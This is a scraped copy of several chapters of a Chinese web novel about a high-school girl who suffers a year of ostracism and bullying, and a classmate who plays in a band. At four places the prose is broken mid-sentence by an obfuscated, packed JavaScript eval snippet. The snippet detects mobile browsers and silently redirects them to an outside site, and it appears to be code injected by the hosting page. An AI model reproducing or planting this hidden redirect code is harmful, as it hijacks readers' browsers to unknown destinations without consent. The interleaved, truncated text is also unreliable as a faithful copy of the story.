汪玲玲扯了扯嘴角,语气有点不可置信:“天呐,辛蕴,你是想当救世主吗?”她笑得更大声了,“你以为你是谁啊?管天管地还想管别人的命?我告诉你,在三班,你能管好你自己就很好了。” 辛蕴被汪玲玲脸上的夸张表情深深刺痛了,呆呆地站在那里一句话也说不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832029|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 汪玲玲见辛蕴这样,不再说什么,她转身走到等在不远处的朋友身边,挽着对方的手,走出去几步,又回头看过来,说:“辛蕴,你别怪我,那天我其实想提醒你的,只是我没想到你真的那么蠢。” 在汪玲玲的脸上辛蕴看到了另一种残忍的笑容。 她没有问汪玲玲为什么不帮她跟班上的那些同学解释两句,因为这个问题显得太软弱太天真。 是啊,她太蠢了。 从小到大辛蕴一直以为在学校里只要学习好就行了,她没有多余的心力去维持人际关系,也根本没想到同学之间还会发生这种可怕的事情。 辛蕴最后还是没有去找王嘉禾对质,汪玲玲说得没错,事已至此,再去纠结她制定那些班规是不是针对某几个人已经完全没有意义了。 班规确实是她提议的,光这一点,辛蕴就没有任何翻身的机会。 那件事之后辛蕴变得更加沉默了,平时在班里她几乎一句话都不说,她咬着牙攒着劲,只把自己当个没有感情的机器人。 史振邦似乎也察觉到了班里的气氛有些不对劲,一次晚自习,他把辛蕴叫出去单独谈话:“最近怎么样?学习和生活上没什么问题吧?” 辛蕴摇了摇头。 史振邦犹豫了几秒,语气放得更缓和了,问:“跟同学之间的相处呢?也没什么问题吗?” 辛蕴抬头去看。 对方脸上的表情确实是实实在在的关心。 可她该怎么说呢?说班上的同学们都讨厌她?说他们联合起来孤立她? 但是他们并没有伤害她,准确来说他们并没有在肉.体上伤害她。 他们只是无时无刻不用那种鄙夷加厌恶的表情看着她,只要她经过他们身边,就会听到他们的嗤笑声和小声咒骂的声音。 她现在把这一切说出来,然后呢?史振邦能让大家不要讨厌她?不再孤立她? 没人能帮她。家长和老师在这种问题上几乎是没有什么作用的。一个再成功再厉害再有权威的成年人在一群半大小孩面前也是很无力的,更别提控制他们的言行和喜恶了。 辛蕴只能继续摇头,说:“我一切都很好。” 除了史振邦,就连一向神经大条的吴咏梅似乎也看出了辛蕴的不对劲,一天晚上她到辛蕴的房间里给她送牛奶,突然坐在了辛蕴的床沿边,担忧地望着坐在书桌边埋头写试卷的辛蕴,说:“最近学校里是不是发生了什么不开心的事情?” 辛蕴手里的笔顿了一下。 甜牛奶的香味在房间里蔓延开。 人们总是习惯在孤身一人的时候强撑着扮演坚强,可这个时候一旦有个亲近的人过来关心你,那些伪装的坚强就会瞬间溃堤。 辛蕴突然觉得委屈极了,几乎下一秒就要脱口而出——“我不想留在三班了!我不想待在那个烂泥坑了!” 可是她骨子里那该死的倔强又让她把那句话咽进了肚子里。 辛蕴绝对不允许自己就这么屈辱地当个逃兵。 9. 第 9 章 直到很久以后,辛蕴在电视屏幕上看到类似的新闻报道时,才后知后觉地意识到自己曾经遭受了长达一年的校园霸凌。 有时候身处在霸凌中的人是意识不到自己正在被霸凌的,她们只是很痛苦,并且对自己的这种痛苦感到羞耻和麻木。 那时候的辛蕴对于这种感觉是完全陌生的,从小到大的好学生光环让她在面对同学时自然而然会产生一种高位的姿态,或许这种姿态是她的原罪,以至于后来当这种姿态被打破的时候,她反而觉得羞耻,不知所措。 徐慧敏隔三差五地就会过来找辛蕴的麻烦,她找麻烦的方法也很高明——让她的那一群小跟班整天围在辛蕴旁边。 辛蕴在写试卷,她们就大声聊天。辛蕴背单词,她们就外放韩剧。辛蕴要睡觉,她们就开始摇桌子踢凳子腿。都是一些抓不到把柄的小把戏,却足够折磨人。 冯强更是威胁过辛蕴好几次,说是放学的时候要找人堵她。辛蕴胆战心惊地过了好几天,对方却一直没动静,估计到底还是顾忌着辛蕴好学生的身份。 这些刺头学生的仇恨其实并没有对辛蕴造成什么心理层面上的伤害,毕竟她也能理解他们对自己的敌意来源于何处。真正让辛蕴觉得心寒的是班上其他同学对她的幸灾乐祸。 尤其是看到后排那些同学原本还在抱怨三班太吵影响到他们学习,可班规事件之后他们又对辛蕴的遭遇冷眼旁观甚至火上浇油,辛蕴只觉得曾经的自己真的太过愚蠢,竟然真的圣母心泛滥想要改变这一切。 她有些恶毒地想——这些人就该烂在三班这个臭泥潭里。 而最最讽刺的是,造成这一切的起因——那十二条班规,很快就沦为了一纸废言。 辛蕴也是后来才知道的,史振邦那几天的“雄心壮志”不过是因为徐慧敏打人那件事导致他被校长狠狠批评了一顿,等这件事的风头过去了,他也就没了整顿班风的念头和决心。 类似的事情在以前不是没有发生过,只是辛蕴刚到三班,不清楚三班过往的那些事情,所以史振邦一摇旗呐喊,她真的披甲上阵当起了先锋。 最后她沦为了一个可笑的牺牲品。一个没有换来任何成果的牺牲品。三班还是之前的三班,一切都还是照旧。 每次经过那张贴在黑板旁边的“班规”的时候,辛蕴心里竟然会莫名其妙地生出一股恨意来。 但是她不知道该恨谁。或许就像汪玲玲说的那样,她最该恨的,是自己的蠢。 不知道算不算是因祸得福,辛蕴憋着一股劲,第一次月考,她考了全校第一名,总分整整甩了第二名三十多分。 成绩单发下来的时候,辛蕴感受到了班上同学投过来的目光,也听到了他们嘴里的窃窃私语声。 他们的话语里有意外,有惊讶,有鄙夷,有妒羡,唯独没有祝福。 不过对于辛蕴来说,光是这些,就已经足够了。 史振邦想把辛蕴的座位调到前排,说是前排安静点,也没有那些乌烟瘴气,但是辛蕴坚决要求一个人坐。 前排的黄金座位区“寸土寸金”,即使不分给班里的尖子生,也要留给某些有需要的人“拍卖”。 史振邦自然没有答应辛蕴的要求。 于是辛蕴最后还是坚持留在了教室角落里的那个位置。 许清和中途来找过辛蕴一次。 “我给校广播站送稿子,刚好路过你们这一幢,就想着来看看你,你……最近还好吧?”他用蹩脚的方式表达着自己的关心。 辛蕴懒得拆穿,也疲于应付。心里不是不感激的,只是她在想,就连理科班的许清和都知道自己的事情了,那岂不是全年级都知道了? 以这样的方式出名是辛蕴没想到的。 “如果你想要找一个人说说话,可以过来找我。”许清和说。 面对老同学带着同情的关心,辛蕴心里只觉得烦躁,被霸凌不是她的错,可是她却觉得屈辱。 “我很好。”她只能又拿出对史振邦和吴咏梅的那套说辞。 许清和大概是看出了辛蕴的心不在焉,没说几句话就表情悻悻地离开了。 周四下午,辛蕴去数学老师的办公室拿他单独给她布置的课外作业。 走廊边靠着不少学生,他们一边聊天一边喝着饮料,笑声和打闹声隔着老远也能听见。 辛蕴走过去的时候所有人都停下来看着她,依旧是用那种带着嘲讽和敌意的目光。 辛蕴虽早已经习惯,但还是有种过街老鼠一样的不适和屈辱感,她低着头拿着试卷快步回到自己的座位。 因为徐慧敏和她那些追随者的大力传播,现在几乎整个年级都知道三班出了一个喜欢在老师跟前现眼的“清高人物”。 在学生时代,这种人是最容易招致同学的排挤和憎恶的,他们恨不得对这种人群起而攻之。 很多外班的同学都对辛蕴这号人物产生了好奇,大课间的时候三班教室外面经常有探头探脑的学生。 辛蕴的座位就在第一组的最后一排,刚好靠近窗户。 她刚坐下来翻开试卷,窗户突然又被人从外面拉开了。 她的心猛然提了起来。 几个尖锐刺耳的声音传了过来。 “那个姓辛的在吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832030|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哟,又在写作业呢?真努力啊。以后要考清华还是北大?” “你这就是小看人家了,就人家这成绩,清华北大她哪能看得上?”说话的那人又转头看着辛蕴,笑着说:“对了,你成绩这么好,留在咱们这个小地方干嘛啊?那不是屈才了吗?你就应该去读哈佛耶鲁,咱们这个破学校哪能配得上你这种志向高远的人?你说对不对?” 辛蕴没有抬头去看那几个人,她抓着笔的手克制不住地微微颤抖。 她努力地让自己保持平静。 这样的事情不是第一次发生,也不会是最后一次发生。 不用抬头去看,她也知道周围肯定有很多人正在幸灾乐祸地看着她。 她已经是一个人了,如果再不给自己一点尊严,那她就什么都没有了。 辛蕴努力地集中精神去看试卷上的第一道集合题,最简单的选择题,以前她看一眼就能选出答案,可是现在她却觉得自己好像不认识那些字似的,她的脑子好像变成了一块木头,根本没有办法思考。 那几个人见辛蕴不搭理他们,就靠在窗边聊起了天,无非还是那一套冷嘲热讽的话。 辛蕴卡在第一道选择题上,手中的笔在试卷纸上焦躁地点了又点,留下一道重重的墨迹。她看着那墨迹,心脏突然有种喘不过气的难受。 这时旁边突然伸过来一只手,直接按住了窗户。 辛蕴转头去看。 邬蒙不知道什么时候回来了,他把书包甩到椅背上,一把拉上了窗户。 窗外那几个人见窗户被拉上,更来劲了,立刻又把窗户拉开,笑着嚷着,道:“哟,气性还挺大,这是你家的窗户?我们偏偏就要开窗,碍着你了?” 一打开窗户,对上邬蒙的脸,那群人的笑僵在了脸上。 他们不一定认识邬蒙,但是对上一个快要一米九的大高个,对方眉眼阴沉得快要滴出水,任何人都得掂量一下得罪他的后果。 “你们碍到我睡觉了。”邬蒙的目光掠过那几人,又扫了一眼聚在周围看热闹的一圈人,冷冷道,“都给我有多远滚多远。” 说完,他再次用力拉上窗户。“砰”的一声,隔着一层磨砂玻璃,走廊里彻底安静了下来,教室里也陷入了死一般的寂静。 辛蕴低着头,依旧盯着那道选择题。 可是眼前的试卷却越来越模糊。 邬蒙单手撑在书桌上,背对着她开始睡觉。 他高高耸起的肩膀将辛蕴清瘦的身体和教室里其他人的目光彻底隔绝开。 于是那天下午,她就窝在这个小小的安全空间里,一笔一画地写完了那张试卷。 10. 第 10 章 邬蒙赶到中心商场的时候,乐队其他几个人已经站在舞台上开始调试音响。 三月八号妇女节,南城市最大的中心商场搞了一个活动,连续三天请乐队过来进行现场表演。舞台虽然是临时搭建的,但是布置得十分精致时髦,远远地看过去,像是一个打开的蛋糕盒子。 “阿蒙你最近怎么回事,怎么总是踩点到?”阿祥从架子鼓后面探出脑袋看向邬蒙。 邬蒙给手里的电吉他插上电,头也不抬地说:“学校离这里有点远,赶上晚高峰了,有点堵车。” 丁丁挑挑眉,有些意外:“怎么最近这么爱学习,三天两头往学校跑?” 邬蒙正低头调着电吉他的音,他手里的动作不停,答:“好好学习,天天向上,懂不懂?” 阿祥“啧啧”了两声,“这么努力啊,小弟拜服。” 橙子白了他一眼,说:“你以为别人都像你?不学点文化课,以后真的进厂打螺丝?” 一句话把其他几个人说沉默了。 乐队里的四个人,除了邬蒙是正经读高中的文化生,丁丁是个快要被退学的半吊子艺术生,阿祥和橙子都是职高毕业的无业游民。 如果没有这个乐队,其他三个人现在估计只能进厂打螺丝。 今天是妇女节,商场里的女顾客很多。 从邬蒙一站到舞台上开始,下面便渐渐开始围了一些女顾客,到乐队调试完所有设备,整个舞台周围已经里三层外三层围满了人。 橙子一看这架势,转头看着邬蒙,揶揄道:“得了,今天你唱吧。” 邬蒙没有拒绝,他站到主唱的位置上,轻轻扫了一下手中的电吉他,然后凑到话筒边,清唱了两句—— “三月走过柳絮散落恋人们匆匆 我的爱情闻风不动……” 他的声音很有少年气,外形又实在优越,往那里一站,简直活脱脱就像个盘靓条顺的练习生爱豆。 全场安静了一瞬,然后爆发出一阵尖叫声。 其实要论唱歌的实力,乐队里的其他人并不比邬蒙差,可邬蒙的身上好像就是有一种莫名的吸引力,一旦他站上舞台就是能让底下观众的眼睛只围着他打转。 刚开了个场,现场的气氛就已经热起来了,甚至有人席地而座,跟着音乐的节奏挥舞着双手,不像是商场在做活动,反而像是某位明星的演唱会。 两个小时的表演结束,商场的经理过来和他们握手,笑容里全是赞赏,说:“还是你们年轻人有活力,昨天找的一个乐队唱得半死不活的,还不如放伴奏。” 商场里空调开得足,邬蒙唱得一头汗,一双眼睛因为潮湿的热气变得更加明亮了,他谦虚地笑了笑,道:“我们还年轻,要学习的地方还有很多。” 乐队表演的收费形式有两种——一种是规定时长付死工资,比如付两千块让他们唱两小时。还有一种是付底薪拿提成,比如店家只支付乐队五百的底薪,剩下客人点歌付的钱和小费是乐队自己的额外收入。 前者显然没有后者更能调动乐队的积极性。商场表演这种付死工资的活,一般乐队都是划划水,表面上看得过去就行了。 但是邬蒙从一开始就给其他三个人立下了一条规矩——不管什么活,只要接了,他们就得好好干。 他们年纪小,没有经验和人脉,也没有很多专业乐队的水平高,只有比别人更加努力和用心才能在这一行慢慢站稳脚跟,才能接到越来越多的活。 邬蒙和那位经理聊得不错,对方还把一个乐队经纪人的微信推给了他。收了工,乐队四个人一起简单地吃了顿夜宵。 南城市分为老城区和新城区,老城区以前是南城市最繁华的地段,但后来随着经济重心渐渐往新城区那边偏移,老城区这边越来越冷清,不仅热闹的店铺和商场搬去了新城区,就连小区也搬空了不少。 邬蒙骑着单车穿梭在老城区的昏黄巷子里,车轮在寂静的夜里轧过饱经沧桑的石板砖,最后停在了一家亮着灯的店铺门前。 这是一家看上去有些年头的老店,招牌已经斑驳脱漆,上面依稀可见“静静采耳店”几个字。 邬蒙把车停好锁上,背上书包推门进去。 容静刚给一个老顾客采耳完,正帮他做最后的放松按摩,听到声音,她抬头看过来,欢喜道:“回来啦?” 邬蒙点点头,瞥了一眼躺在那里的客人,低头穿过狭小的走廊,往后面去了。 采耳店后面是容静租的两室一厅,房子又小又旧,但收拾得很干净温馨。 餐桌上的电饭煲里还亮着灯,邬蒙掀开锅盖,里面热着饭菜。他回头看了一眼,犹豫了几秒,然后端出饭菜,坐在餐桌边,小口小口地吃起来。 老城区的夜安静极了。邬蒙往嘴里塞着饭,听到前面容静咳嗽了几声,紧接着又是她低声朝客人道歉的声音,那位客人开口说了几句话。 中年男人被烟熏坏的嗓子,根本听不清说了什么,中间夹杂着容静的笑声,那声音里有不属于她这个年纪的娇俏。 邬蒙低头快速地扒了两大口饭。 老房子的通风不好,平时容静在店里的时候总是会打开客厅的窗户通风。夜里的冷风从那扇打开的窗户灌进来,整个客厅雪洞似的冷。 容静送走客人,推开门进来,见邬蒙这么快就把大半碗米饭吃了个精光,笑着说:“饿了吧?就知道你还没吃饭。” 邬蒙快速将最后一口饭扒进嘴里,站了起来,说:“我先进屋了。” 容静走到一旁关上客厅的窗户,“好,你早点睡,别熬夜。”话刚说完,捂着嘴又咳嗽了两声。 邬蒙回头看她,说:“要不今天早点关店吧。” 容静摇头:“我再等等,时间不算太晚,说不定还有生意。”不等邬蒙再说话,她已经转身推门出去了。 邬蒙皱了皱眉,最后还是什么都没说,他转身去卫生间洗了个澡,然后进房间关上门。 房间里没开空调,风将窗帘吹得微微摆动,刚洗过澡,也不觉得冷,他穿着一件薄薄的家居服靠在窗台边仰头看着头顶的夜空。 放在椅背上的外套还沾着刚才那个高端商场里的香水味道。那种温暖又甜蜜的香气和他身处的这个冷清又狭小的空间有些割裂。 邬蒙拿起一旁的吉他,练习着明天要表演的曲子。 老房子的隔音并不好,他只能尽量放轻动作,小心地拨弄着手里的琴弦。 “风吹落最后一片叶 我的心也飘着雪 爱只能往回忆里堆叠 ……” 少年的歌声流淌在这寂静的春夜里,显得格外温柔。 - 冬天还没过去,一波流感席卷了整座城市。吴咏梅在棋牌室里打了一天麻将,回家的时候嗓子有点不舒服,到了晚上又开始发起烧。 辛蕴下了晚自习回家,看到吴咏梅睡在沙发上烧得一脸通红。她吓了一跳,顾不上放下书包,直接打车把吴咏梅送去了医院。 医院的夜间门诊挤满了人,辛东福的手机打不通,辛蕴只好一个人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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南城市是个历史名城,很多文人墨客都曾在这里留下过脍炙人口的古诗词和文章,宣传片拍摄了很多历史遗迹和风景名胜,还介绍了南城市有名的企业和大学,宣传片的最后提到了南城市一中。 那天工作人员拍了很多素材,可真正用到宣传片里的只有两个飞快闪过的镜头。 一个是图书馆里埋头学习的学生背影,另一个是篮球场上挥洒着汗水的少年。 镜头定格在邬蒙那张微微汗湿的脸上。 辛蕴看着屏幕里那张陌生又熟悉的脸,有些出神。 视线突然被挡住。旁边走过来一个人,端着餐盘坐在了她的对面。 辛蕴抬头去看,是王嘉禾。 对方冲她露出一个和初见时一样友好的笑容。 辛蕴移开目光,像是没看到。 辛蕴的冷淡在王嘉禾的意料之中,她没有拐弯抹角,直直地盯着辛蕴的脸,开门见山道:“今年的青苗奖学金要开始评选了,每个班只能有一个名额。” 辛蕴没说话,只是安静地低头吃着饭。 王嘉禾攥紧手心,脸上的表情有些古怪,“我打听过了,你的家庭情况很好,根本不缺这个钱。”她目光落在对面那个一脸淡漠的少女身上,似乎是鼓足了很大勇气,用一种恳求的语气问:“你能不能把这个机会让给我?” 辛蕴恍若未闻,只是一口一口地吃着餐盘里剩下的饭菜。在王嘉禾的耐心快要耗尽之前,她端着餐盘站起来朝回收处走去。 王嘉禾见她不搭理自己,正要开口再说点什么。 原本低头沉默的少女突然回过头,“不行。”她漆黑平静的眼珠里溢出一点锋利的笑意,语气笃定地说:“有我在,你拿不到这个奖学金。” 11. 第 11 章 辛东福在消失两个星期之后回家了。 父女俩在电梯门口相遇,相对无言。 辛蕴看了他一眼,又转头去看电梯上面不停跳跃变换的数字。 电梯面板擦得锃亮,恍如一面镜子。辛东福看到镜子里的少女背着一个大大的书包,几乎要把她清瘦的身体压弯。他因为宿醉有些混沌的脑袋突然清醒了几分,心里涌出一点酸涩,问:“你天天背这么多书回家?怎么不放一部分在学校里?” “都是要用的书和资料。”辛蕴当然不会说她根本不敢把自己的东西留在学校抽屉里,她的笔记本已经丢了好几本,留在学校课桌上的课本第二天也会多出很多丑陋的涂鸦。 辛东福听她这么说,倒也没再说什么。 电梯到了,父女俩走进电梯。 或许是醉得很了,辛东福突然开口说:“囡囡,爸爸有句话想和你说,我和你妈……” 辛蕴的眼睛依旧盯着电梯液晶屏上那串不断闪动的数字,纤长浓黑的睫毛微微颤动着。 好在他们家住在六楼,电梯爬行的速度足够快,辛东福犹豫的时间也足够长,他没有来得及把那句话说出口。 “叮”的一声,电梯门开了。 辛蕴快步走出电梯。 上周吴咏梅病了一周,这一周她的精神好了不少,又开始张罗着给辛蕴熬各种补汤。 今天餐桌上多了一道毛豆红烧鸡,那是辛东福最爱的菜。 辛东福和吴咏梅是一起吃苦走过来的患难夫妻,辛东福年轻的时候是一个在国道上跑车拉货的穷小子,常年不着家,虽然一年难得见几面,但那时候夫妻两个人的感情很好。 辛蕴八岁的时候,辛东福一次机缘巧合认识了一个干房地产的大老板,在对方的介绍下,辛东福做起了工地上的小包工头,后来他越做越好,又开始自己承包工程,这几年赚了不少钱。物质条件虽然是上去了,但夫妻两个人的感情却开始有了裂痕,几乎一见面就要吵架。 辛东福熬了这么多年终于大器晚成,平时没少被身边的人吹捧,酒局上又被左一个“辛总”右一个“老板”地喊着,不免有些飘飘然,渐渐地,他在家里也要摆点老板的架子。 但吴咏梅是见过辛东福穿着破布衣裳走在田埂上挑着大粪去浇菜的样子的,自然不愿意惯着他装模作样,加上现在丈夫出息了,她依旧还是个没什么文化和本事的家庭主妇,虽然身份从种田砍柴的农村妇女变成了平时只用做做美容打打麻将的城里“贵妇”,但吴咏梅清楚她还是以前的那个她,她心里有危机感,可在丈夫面前又放不下架子,甚至还经常拿话去刺对方。 一来二去的,两人一见面就要红脸,后来辛东福就不怎么回家了,经常十天半个月不见人影。 但是今天夫妻俩难得默契地保持了沉默,一顿饭吃得安安静静。 辛蕴低头吃完了小半碗饭,突然用手中的筷子夹了一块红烧鸡,放进辛东福的碗里,说:“爸爸,过几天是我的生日,咱们一起去外面吃顿饭吧。” 吴咏梅抬头看了一眼辛蕴,又转头去看坐在主位上的辛东福。 辛东福一愣,脸上的表情由意外错愕变成了惊喜,连连点头,说:“好,好,我们囡囡想吃什么?” 辛蕴抿了抿唇,说:“只要咱们一家人在一起,不管吃什么都好。” - 高中生活就像一个巨大的高压锅,青春躁动的少男少女被关在一个令人窒息的环境中,宛如一群暴躁迷茫的困兽,一旦有了一个可以发泄的出口,他们恨不得倾尽自己身上所有的恶意和力气。 即使那张贴在黑板旁边的班规已经很久没有人再提起过,但是讨厌辛蕴似乎变成了人人的共识,三班同学对她的敌视依然没有减轻分毫。 今天大课间的时候,辛蕴坐在座位上整理着最近几天的错题,旁边突然飞过来一个篮球,直直地砸向了她的课桌,将她手边的保温杯砸翻,杯子在桌上滚了两圈,“哐当”一声砸在了地面上。 好在保温杯的盖子是拧紧的,没有把她的桌面弄湿。 但辛蕴还是被这突然的巨大的声响吓了一大跳,她惊魂未定地捡起杯子,转头去看。 一个身材高大的男生冲她笑笑,说:“哟,不好意思,我没看见。”嘴里说着不好意思,眼里却全是幸灾乐祸。 又是冯强,他是个体育生,也是后排那几个借读生的头头,更是整个年级都有名的问题学生。 辛蕴没理对方,继续埋头做笔记。 冯强慢悠悠地晃了过来,捡起辛蕴脚边的篮球,带着几个小弟一起朝教室外面去了,路过辛蕴座位的时候,有人用力地撞了一下她的课桌。 辛蕴手中的笔一抖,在笔记本上留下一条丑陋的笔迹。她定定地看着笔记本上那个突兀的痕迹,陷入了一阵长久的出神。 辛蕴是个完美主义者,她从来不用修正带也不用涂改液,不管是参加考试写的试卷还是自己私下做笔记,她格外钟爱那种一气呵成的感觉,她讨厌在自己的试卷和笔记上看到涂改的迹象。 因为这么一个小小的错笔,一张工整漂亮的完美笔记好像就有了一个没办法忍受的缺憾。 辛蕴叹了一口气,有些惋惜地撕下那页笔记,揉成团,扔进垃圾桶。纸团在空中划出一道弧线,最后落进了漆黑的垃圾桶内。 就在这个不合时宜的时刻,辛蕴想起了邬蒙。 她记得那天拍宣传片的时候工作人员让邬蒙表演了几个投篮的动作,本来只是想拍一下他矫健的身形,但邬蒙的动作干净利落,五投五进。不管是外面围着的同学还是场内的那几个工作人员都情不自禁地为他鼓掌。 辛蕴转头看了一眼自己身旁那个空位置。 邬蒙好像已经有几天没有回学校了,各科老师布置下来的作业已经在他的桌面上堆成了一个小小的山。 辛蕴不想承认,但这些天她总是有意无意地期盼着邬蒙能够回学校。 从来没有人敢过来打扰邬蒙睡觉,他在旁边的时候她不用提心吊胆,能够清清静静地做自己的事情。 因为这一点,她对邬蒙抱有一种隐秘的感激之情。 但辛蕴有时候也会想——邬蒙是怎么看她的呢? 虽然两个人做了快两个月的同桌,但他们之间几乎没有说过几句话。 对方会不会也觉得她就是其他同学口中那个讨人厌的“清高怪”,所以才几乎从来不主动开口跟她说话? 这么一想,辛蕴心里突然涌出来一种说不出来的滋味。 是挫败还是不甘?她分辨不清。 好在史振邦及时打断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832032|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了辛蕴的思绪,他让她去他的办公室谈话。 他先是照例关心了一下辛蕴最近几天的情况,然后犹豫片刻,说:“辛同学,你应该也知道青苗奖学金马上要评选了吧?” 辛蕴有些心不在焉地点点头。 青苗奖学金是由南城一中的几个知名校友联合创立的奖学金,每个学期进行一次评选,每个年级一共十几个名额,分摊到每个班只有一个名额。虽然名额很少,但奖金数额却格外高,加上一中还会为青苗奖学金的得主举办一个特殊的颁奖仪式,因此每学期各班的尖子生们都铆足了劲想评选上青苗奖学金。 三班上学期拿下青苗奖学金的人是王嘉禾。可这个学期三班却多了一些变数——之前王嘉禾一直是班上的第一名,她拿青苗奖学金毋庸置疑,但上次月考辛蕴以绝对的优势拿下了全校第一名。 史振邦脸上的神情有些纠结,他斟酌了一下用词,这才开口道:“按理来说,这个奖学金应该是你的,毕竟上次月考的成绩你甩了别人一大截。但是王嘉禾同学昨天来找过我……” “史老师。”辛蕴回过神来,她开口打断了史振邦的话,抬头目光炯炯地盯着对方的双眼,说:“青苗奖学金的选拔标准是成绩和排名,我看还是公平竞争吧。” 听到这话,史振邦脸上的笑容有些尴尬,连连说:“是,是。”他想了一会儿,又道:“刚好第二次月考也近了,到时候综合第二次月考的成绩再进行评选吧。不出意外是在你们两个人中间二选一。” 辛蕴没异议,她走出史振邦的办公室,迎面碰上了来交资料的王嘉禾。 她和对方擦肩而过,玻璃窗户的反光里,王嘉禾脸上的表情有些难看。 - 这个周末是辛蕴的生日。 自从上次她提过要一家人一起出去吃顿饭,辛东福对这件事情很上心,特地让秘书订了一家南城市中心一家很特别的烧烤餐厅。 吴咏梅今天很开心,不仅自己收拾得光彩照人,还非让辛蕴穿上她买的一件新裙子。 一家人一起迈进店里,经理和店员早就等在了一旁,热情地把他们引进了包厢。 辛蕴挽着吴咏梅的手,一边走一边打量着餐厅内的陈设和布置。 这家餐厅的装修很特别,明明是室内,却装出了一种户外露营的感觉,顾客身下的椅子也是统一的露营椅。 辛东福转头看着辛蕴,语气有些讨好,说:“爸爸记得你喜欢吃烤肉,这家店里的烧烤和龙虾都是一绝,你今天好好尝尝。” 经理在一旁附和着,说:“我们餐厅是南城市第一家做户外主题的餐厅,店里还有驻唱,待会儿老板要是有需要,可以让驻唱去你们包厢里表演。” 说话间,辛蕴听到了一阵歌声,她转头循着歌声望去—— 隔着一排坠在半空的暖色灯带,少年坐在吧台另一侧,低头抱着一把吉他弹唱。 “忘了是怎么开始 也许就是对你有一种感觉 忽然间发现自己已深深爱上你 ……” 那张脸,她曾经在学校食堂的电视屏幕上看过无数次。 辛蕴愣在那里,在对方抬头看过来的前一瞬,她恍然惊醒,宛如一只受到了惊吓的雏鸟,扑扇一下翅膀,灵巧地躲到了吴咏梅的身后。 12. 第 12 章 邬蒙这些天确实很忙。 平时不仅要兼顾乐队和餐厅两边,他还抽空去接了一些琴行的活,一忙起来连喝水吃饭的时间都没有。 上次商场经理给邬蒙推的那个乐队经纪人找他们乐队合作过几次,大概是合作得挺愉快,前天晚上他突然发消息给邬蒙,说有个视频网站正在筹备一档乐队综艺,如果邬蒙有兴趣,他可以帮忙联系一下节目组报名。 但同时那位经纪人也把丑话说在了前面——这种节目一般都有剧本,让邬蒙不要有很高期待,抱着去见见世面的心态就好。 邬蒙把这个消息告诉乐队的几个小伙伴,他们简直不敢相信,尤其听到同时参加节目的还有圈子里一些很老牌的乐队,几个人更是疯狂尖叫了足足十几分钟。 海选地点在隔壁市,坐高铁不过半个小时。 出发的路上,四个人一句话都没说,就连平时一向喜欢打嘴炮的丁丁也一反常态地保持了沉默,说到底不过是四个涉世未深的年轻学生,第一次参加这种活动,说不紧张那是假的。 一进候场室,阿祥就开始四处张望。 阿祥他爸年轻的时候就是一个摇滚乐发烧友,阿祥刚会走路的时候就被他爸带着一起听各种风格和不同流派的音乐,四个人当中他既不像丁丁一样是科班出身,也不如橙子天生有个好嗓子,更不像邬蒙那样往舞台一站就跟打了聚光灯似的一样吸引视线,但阿祥对音乐的热爱却是四个人当中最纯粹的。 “不是说酷豹乐队和粉红猫乐队也在吗?怎么没看到?”阿祥迫不及待地问。 橙子一拳头捶在了阿祥的肩膀上:“你傻啊,他们怎么可能来参加海选?” 邬蒙的目光扫视了一圈四周。 橙子说得没错,那几个老牌乐队本来就是节目的噱头和招牌,当然不可能来参加海选,今天海选候场室里有少部分靠着在网上翻唱歌曲有些小名气的熟脸,但大部分还是和他们一样的不知名小乐队。 但即使是最不起眼的不知名乐队看起来也比他们专业。这些人有的手里拿着一看就价值不菲的昂贵乐器,有的留着艺术气息浓厚的发型,还有的一脸沧桑派头十足,不管实力如何,光是看模样个个都是资历深厚的专业乐队。 反观他们自己,手里拿着在琴行里都卖不上什么价钱的廉价乐器,身上穿着普普通通的T恤和牛仔裤,不管是模样还是气质都十分稚嫩。 看来即使是最初级的海选,对他们来说也压力不小。 在候场室等了两个小时,工作人员通知他们上场。 四个人的心提到了嗓子眼。 邬蒙抱着吉他站了起来,跟着那名工作人员往前走,掀开帘子的前一秒,他转头看着跟在身后明显有些怯场的其他三人。 “这是乐队选秀,又不是演唱比赛,我们确实没有其他人专业,但我们有我们自己的优势。干就完了!怂个屁!” 人在紧张的时候很容易被带动情绪,其他三人被邬蒙眉眼间的那种意气风发和一腔热血的劲头感染,丁丁更是热血沸腾,不管不顾地跟着喊了一声:“干就完了,怂个屁!” 